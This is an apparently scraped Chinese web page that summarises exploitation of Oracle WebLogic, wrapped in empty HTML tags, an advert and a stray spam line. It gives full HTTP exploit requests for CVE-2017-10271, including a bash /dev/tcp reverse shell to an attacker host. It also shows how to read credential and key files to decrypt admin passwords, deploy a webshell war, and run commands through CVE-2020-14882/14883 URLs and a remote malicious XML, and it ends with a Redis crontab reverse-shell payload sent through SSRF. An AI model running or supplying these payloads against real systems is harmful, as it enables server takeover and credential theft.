<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                # Weblogic漏洞利用總結 **Weblogic是Oracle公司出品的一個應用服務器(application server),確切的說是一個基于Java EE架構的中間件,是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器** # 漏洞匯總 weblogic一鍵漏洞掃描檢測工具,提供一鍵poc檢測,收錄幾乎全部weblogic歷史漏洞。 下載地址 ``` https://github.com/rabbitmask/WeblogicScan #原版 https://github.com/dr0op/WeblogicScan #修改版,多一個CVE檢測,高亮美化 https://github.com/21superman/weblogic_exploit #21superman寫的,漏洞比較全面 #使用方法 python3 WeblogicScan.py [ip] [port] ``` ## 0、CVE-2017-10271 **漏洞簡述** Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。攻擊者發送精心構造的xml數據甚至能通過反彈shell拿到權限。 **漏洞影響版本** 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0。 **漏洞觸發地址** ``` /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 ``` **漏洞復現** 1. 訪問觸發此漏洞的server ip:7001//wls-wsat/CoordinatorPortType 2. 使用burp抓取請求包后發送至repeater模塊,將數據包修改成構造好的payload ``` POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 637 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("123"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ``` 3. 提交,發現成功寫入123 **反彈shell** 1. 構造好反彈shell的命令,在vps上使用nc監聽4444端口 ``` POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 637 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i &gt;$amp; /dev/tcp/x.x.x.x/4444 0&gt;$amp;1</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ``` 2. 監聽`nc -lvp 4444`;成功反彈 ![3496f2fb35e0fd32a614e5386b5dc1c7.png](../../_resources/b66158a898064932bb61fc50b9ca6dc6.png) 成功反彈 ## 1、CVE-2019-2618 **漏洞簡述** 利用任意文件讀取來獲取weblogic的弱口令登錄進入后臺,然后通過上傳getshell,通過構造任意文件下載漏洞環境讀取到后臺用戶名和密碼,然后登陸進后臺,上傳webshell。 **漏洞影響版本** 10.3.6.0 12.1.3.0 12.2.1.3 **漏洞復現** ### ①任意文件讀取 1. 訪問url (http://IP:7001/hello/file.jsp?path=/etc/passwd) , 成功讀取到系統賬號和密碼 不過只能讀取一些文件,如何更深層次利用這個漏洞呢? 2. 獲取加密的對稱密鑰對 weblogic密碼使用AES(老版本3DES)加密,只需要找到用戶的密文與加密時的密鑰即可。 兩個文件均位于base_domain下,名為SerializedSystemIni.dat和config.xml。 SerializedSystemIni.dat是一個二進制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,這就是密鑰,右鍵copy to file就可以保存成一個文件: ``` #SerializedSystemIni.dat使用bp的路徑 http://yourIp:7001/hello/file.jsp?path=security/SerializedSystemIni.dat ``` config.xml是base_domain的全局配置文件,所以亂七八糟的內容比較多,找到其中的的值,即為加密后的管理員密碼 ``` #config.xml路徑 http://yourIP:7001/hello/file.jsp?path=config/config.xml ``` 3. 下載工具進行解密 下載地址:https://github.com/TideSec/Decrypt_Weblogic_Password 使用其中的工具5進行解密 ### ②后臺上傳getshell 1. 使用解密后的賬號密碼登錄后臺,weblogic常見的弱密碼 ``` https://cirt.net/passwords?criteria=weblogic 這里使用 用戶名:weblogic 密碼:Oracle@123 登錄 ``` 2. 進入后臺后點擊左邊的部署,找到可以上傳文件的地址 3. 生成一個war包木馬(使用冰蝎的一句話shell) `jar -cvf shell.war shell.jsp` 4. 生成war后將war馬部署上去 5. 使用冰蝎進行連接(默認密碼為rebeyond),成功getshell ## 2、CVE-2020-14883:權限繞過漏洞 遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console。權限繞過漏洞(CVE-2020-14883),訪問以下URL,未授權訪問到管理后臺頁面(低權限的用戶) >/console/images/%252E%252E%252Fconsole.portal /console/css/%252e%252e%252fconsole.portal(小寫可繞過補丁) /console/css/%25%32%65%25%32%65%25%32%66console.portal 此時的權限很低,并不能在后臺安裝應用,所以需要結合CVE-2020-14882漏洞 ## 3、CVE-2020-14882 : 代碼執行漏洞 **漏洞影響版本** >Oracle Weblogic Server 10.3.6.0.0 >Oracle Weblogic Server 12.1.3.0.0 >Oracle Weblogic Server 12.2.1.3.0 >Oracle Weblogic Server 12.2.1.4.0 >Oracle Weblogic Server 14.1.1.0.0 結合 CVE-2020-14883 漏洞,遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執行任意代碼。 **該漏洞有兩個利用手法** ``` 利用 com.tangosol.coherence.mvel2.sh.ShellSession 執行命令 利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 執行命令 ``` ### 2 利用第一條命令 先在dnslog獲取一個專屬域名,然后使用payload執行命令 ``` http://IP:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xx.dnslog.cn');") ``` 然后查看dnslog中是否有相關信息日志 也可以直接訪問URL執行系統命令, ``` http://ip:端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") ``` 執行完成后進入/tmp中查看是否有新建的文件 > 這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本并不存在com.tangosol.coherence.mvel2.sh.ShellSession 類 ### 2 利用第二條命令 一種更為通殺的方法,對于所有Weblogic版本均有效。 但是必須可以出網,要可以訪問到惡意的xml。 首先需要構造一個XML文件,并將其保存外網(漏洞機或者可訪問的一臺機子上)上 XML文件: ```xml <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[curl pnw46y.dnslog.cn]]></value> </list> </constructor-arg> </bean> </beans> ``` 然后通過構造如下URL,即可讓Weblogic加載這個XML,并執行其中的命令: ``` http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://ip.xml") ``` ### 3 **getshell** 可以直接下載大佬寫好的工具,下載地址(https://github.com/backlion/CVE-2020-14882_ALL) ## 5、ssrf漏洞 **漏洞描述** Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。 SSRF漏洞可以通過篡改獲取資源的請求發送給服務器,但是服務器并沒有檢測這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的資源。 **漏洞影響范圍** Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 10.0.2.0 **漏洞復現** 瀏覽器訪問存在漏洞的地址 SearchPublicRegistries.jsp ``` http://192.168.31.187:7001/uddiexplorer/SearchPublicRegistries.jsp ``` 1. 使用burp抓包 看到參數operator的參數是一個url,這個就是利用點 ,構造請求, 2. 通過改變url的端口來做一個端口檢測 存在的端口將會得到錯誤關鍵字`error code` 不存在的端口將會返回錯誤`could not connect over HTTP to server`。 如果訪問的非http協議(內網),則會返回`did not have a valid SOAP content-type`。 ## 6、利用redis反彈shell weblogic的ssrf有一個比較大的特點,其雖然是一個GET請求,但是我們可以通過傳入**%0a%0d**來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就是說我們可以通過該SSRF攻擊內網中的redis服務器。首先通過ssrf探測內網中的redis服務器,通常redis端口為6379 1. 首先,通過ssrf探測內網中的redis服務器 一般端口是6379 2. 構造redis反彈shell命令 ```sh test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.191.3/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa ``` 3. url編碼后,進行繞過攔截 ``` http://ip/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E191%2E3%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa%0A%0A%0D%0A ``` 4. 使用nc(windows)監聽4444端口 5. 將url編碼后的payload使用bp,用POST請求發送 6. 成功反彈shell 7. 然后可以進入redis服務器進行想做的操作
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看